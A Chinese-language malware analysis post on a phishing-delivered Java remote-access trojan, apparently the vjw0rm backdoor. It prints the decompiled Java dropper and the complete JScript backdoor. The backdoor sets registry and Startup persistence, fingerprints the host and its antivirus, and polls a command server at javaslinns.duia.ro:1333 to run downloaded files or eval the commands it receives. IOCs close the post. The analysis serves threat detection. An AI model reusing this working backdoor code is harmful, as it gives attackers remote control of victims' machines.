日常巡逻检查某APT预警系统告警，发现一个java写的简单远控木马告警，投递手段为钓鱼邮件，样本通过反射机制和简单的混淆与编码多次打包后门代码。后门代码主要功能为下载文件并写入注册表开机启动实现持久化。

后门代码中包含有如下说明：”// Coded by v_B01 | Sliemerez -> Twitter : Sliemerez”，一个真实存在的阿拉伯人，他注册了多个社交账号，并且有投稿编程教程视频，🐂。根据这篇帖子”https://gathering.tweakers.net/forum/list_messages/1755533“，早在2017年他就开始投递该木马，4年来后门代码基本未变，🐂。
image.png

image.png

image.png

记录

样本反编译代码如下：

  1. package uooypovlas;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. import java.io.InputStream;
  5. import java.io.OutputStream;
  6. import java.lang.reflect.Method;
  7. import java.util.ArrayList;
  9. public class Mkhlxhzrhig {
  10.   private static final String liver$$$_$ = "wscript";
  12.   private static void dejo$$$(OutputStream paramOutputStream, byte[] paramArrayOfByte) throws IOException {
  13.     paramOutputStream.write(paramArrayOfByte);
  14.     paramOutputStream.flush();
  15.     paramOutputStream.close();
  16.   }
  17.   private static final String webpackVersioning = "resources/bynueqmffo"; private static final String _$JokerGame = "user.home";
  19.   private static void exe(Method paramMethod) throws InvocationTargetException, IllegalAccessException, IOException { new Runtime[2][1] = (new Runtime[2][0] = null).getRuntime(); new Runtime[2][1].exec((String[])paramMethod.invoke(new Mkhlxhzrhig(), new Object[0])); }
  23.   private static String vickSon$$(InputStream paramInputStream, StringBuilder paramStringBuilder) throws IOException { return getFidia$$$(paramInputStream, paramStringBuilder).toString(); }
  26.   public static void main(String[] paramArrayOfString) throws Exception {
  27.     if (new String[0].length == 0) {
  28.       Method method = Mkhlxhzrhig.class.getDeclaredMethod("dollar$$", new Class[0]);
  29.       exe(method);
  30.     } 
  31.   }
  34.   private static StringBuilder getFidia$$$(InputStream paramInputStream, StringBuilder paramStringBuilder) throws IOException {
  35.     byte[] arrayOfByte = new byte[1024]; int i;
  36.     while ((i = paramInputStream.read(arrayOfByte, 0, arrayOfByte.length)) > 0) {
  37.       paramStringBuilder.append(new String(arrayOfByte, 0, i));
  38.     }
  39.     return paramStringBuilder;
  40.   }
  42.   private static String[] dollar$$() throws Exception {
  43.     ArrayList arrayList = new ArrayList(Arrays.asList(engine$$$$(colllll$())));
  44.     arrayList.remove(1);
  45.     return (String[])arrayList.toArray(new String[0]);
  46.   }
  48.   private static String[] engine$$$$(byte[] paramArrayOfByte) throws NoSuchMethodException, FileNotFoundException, InvocationTargetException, IllegalAccessException {
  49.     StringBuilder stringBuilder = new StringBuilder();
  50.     stringBuilder.append(System.getProperty("user.home"));
  51.     stringBuilder.append(File.separator);
  52.     stringBuilder.append("_output.js");
  53.     String[] arrayOfString = { "wscript", "__$", stringBuilder.toString() };
  54.     FileOutputStream fileOutputStream = new FileOutputStream(arrayOfString[2]);
  55.     Mkhlxhzrhig.class.getDeclaredMethod("dejo$$$", new Class[] { OutputStream.class, byte[].class }).invoke(new Mkhlxhzrhig(), new Object[] { fileOutputStream, paramArrayOfByte });
  57.     return arrayOfString;
  58.   }
  61.   private static byte[] colllll$() throws Exception { return vickSon$$(Mkhlxhzrhig.class.getResourceAsStream("resources/bynueqmffo"), new StringBuilder()).getBytes(); }
  62. }

后门代码：

  1. // Coded by v_B01 | Sliemerez -> Twitter : Sliemerez
  3. var j = ["WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP"];
  4. var g = ["HKCU","HKLM","HKCU\\vjw0rm","\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","HKLM\\SOFTWARE\\Classes\\","REG_SZ","\\defaulticon\\"];
  5. var y = ["winmgmts:","win32_logicaldisk","Win32_OperatingSystem",'AntiVirusProduct'];
  7. var sh = Cr(0);
  8. var fs = Cr(1);
  9. var spl = "|V|";
  10. var Ch = "\\";
  11. var VN = "MYYEAR" + "_" + Ob(6);
  12. var fu = WScript.ScriptFullName;
  13. var wn = WScript.ScriptName;
  14. var U;
  15. try {
  16. U = sh.RegRead(g[2]);
  17. } catch(err) {
  18. var sv = fu.split("\\");
  19. if (":\\" + sv[1] == ":\\" + wn) {
  20. U = "TRUE";
  21. sh.RegWrite(g[2],U,g[5]);
  22. } else {
  23. U = "FALSE";
  24. sh.RegWrite(g[2],U,g[5]);
  25. }
  26. }
  27. Ns();
  28. do {
  29. try {
  30. var P = Pt('Vre','');
  31. P = P.split(spl);
  33. if (P[0] === "Cl") {
  34. WScript.Quit(1);
  35. }
  37. if (P[0] === "Sc") {
  38. var s2 = Ex("temp") + "\\" + P[2];
  39. var fi = fs.CreateTextFile(s2,true);
  40. fi.Write(P[1]);
  41. fi.Close();
  42. sh.run(s2);
  43. }
  45. if (P[0] === "Ex") {
  46. eval(P[1]);
  47. }
  49. if (P[0] === "Rn") {
  50. var ri = fs.OpenTextFile(fu,1);
  51. var fr = ri.ReadAll();
  52. ri.Close();
  53. VN = VN.split("_");
  54. fr = fr.replace(VN[0],P[1]);
  55. var wi = fs.OpenTextFile(fu,2,false);
  56. wi.Write(fr);
  57. wi.Close();
  58. sh.run("wscript.exe //B \"" + fu + "\"");
  59. WScript.Quit(1);
  60. }
  62. if (P[0] === "Up") {
  63. var s2 = Ex("temp") + "\\" + P[2];
  64. var ctf = fs.CreateTextFile(s2,true);
  65. var gu = P[1];
  66. gu = gu.replace("|U|","|V|");
  67. ctf.Write(gu);
  68. ctf.Close();
  69. sh.run("wscript.exe //B \"" + s2 + "\"",6);
  70. WScript.Quit(1);
  71. }
  73. if (P[0] === "Un") {
  74. var s2 = P[1];
  75. var vdr = fu;
  76. var regi = "SEJOKAOI5S";
  77. s2 = s2.replace("%f",fu).replace("%n",wn).replace("%sfdr",vdr).replace("%RgNe%",regi);
  78. eval(s2);
  79. WScript.Quit(1);
  80. }
  82. if (P[0] === "RF") {
  83. var s2 = Ex("temp") + "\\" + P[2];
  84. var fi = fs.CreateTextFile(s2,true);
  85. fi.Write(P[1]);
  86. fi.Close();
  87. sh.run(s2);
  88. }
  89. } catch(err) {
  90. }
  91. WScript.Sleep(7000);
  93. } while (true) ;
  96. function Ex(S) {
  97. return sh.ExpandEnvironmentStrings("%" + S + "%");
  98. }
  99. function Pt(C,A) {
  100. var X = Cr(3);
  101. X.open('POST','http://javaslinns.duia.ro:1333/' + C, false);
  102. X.SetRequestHeader("User-Agent:",nf());
  103. X.send(A);
  104. return X.responsetext;
  105. }
  108. function nf() {
  109. var s,NT,i;
  110. if (fs.fileexists(Ex("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")) {
  111. NT ="YES";
  112. } else {
  113. NT = "NO";
  114. }
  115. s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME") + Ch + Ob(2) + Ch + Ob(4) + Ch + Ch + NT + Ch + U + Ch;
  116. return s;
  117. }
  119. function Cr(N) {
  120.     return new ActiveXObject(j[N]);
  121. }
  123. function Ob(N) {
  124. var s;
  125. if (N == 2) {
  126. s = GetObject(y[0]).InstancesOf(y[2]);
  127. var en = new Enumerator(s);
  128. for (; !en.atEnd();en.moveNext()) {
  129. var it = en.item();
  130. return it.Caption;
  131. break;
  132. }
  133. }
  134. if (N == 4) {
  135. var wmg = "winmgmts:\\\\localhost\\root\\securitycenter";
  136. s = GetObject(wmg).InstancesOf(y[3]);
  137. var en = new Enumerator(s);
  138. for (; !en.atEnd();en.moveNext()) {
  139. var it = en.item();
  140. var str = it.DisplayName;
  141. }
  142. if (str !== '') {
  143. wmg = wmg + "2";
  144. s = GetObject(wmg).InstancesOf(y[3]);
  145. en = new Enumerator(s);
  146. for (; !en.atEnd();en.moveNext()) {
  147. it = en.item();
  148. return it.DisplayName;
  149. }
  150. } else {
  151. return it.DisplayName;
  152. }
  153. }
  154. if (N==6) {
  155. s = GetObject(y[0]).InstancesOf(y[1]);
  156. var en = new Enumerator(s);
  157. for (; !en.atEnd();en.moveNext()) {
  158. var it = en.item();
  159. return it.volumeserialnumber;
  160. break;
  161. }
  162. }
  163. }
  165. function Ns() {
  167.     try {
  168.         sh.RegWrite(g[0] + g[3] + "SEJOKAOI5S","\"" + fu + "\"",g[5]);
  169.         } catch(err) {
  170.     }
  172.     try {
  173.         var ap = Cr(2);
  174.         fs.CopyFile(fu, ap.NameSpace(7).Self.Path + "\\" + wn,true);
  175.     } catch(err) {
  176.     }
  177. }

IOC

15332@ms61.hinet.net
l5332@ms61.hinet.net
hxxp://javaslinns.duia[.]ro:1333/
A29562CBDE90B5915698EAA6680F225C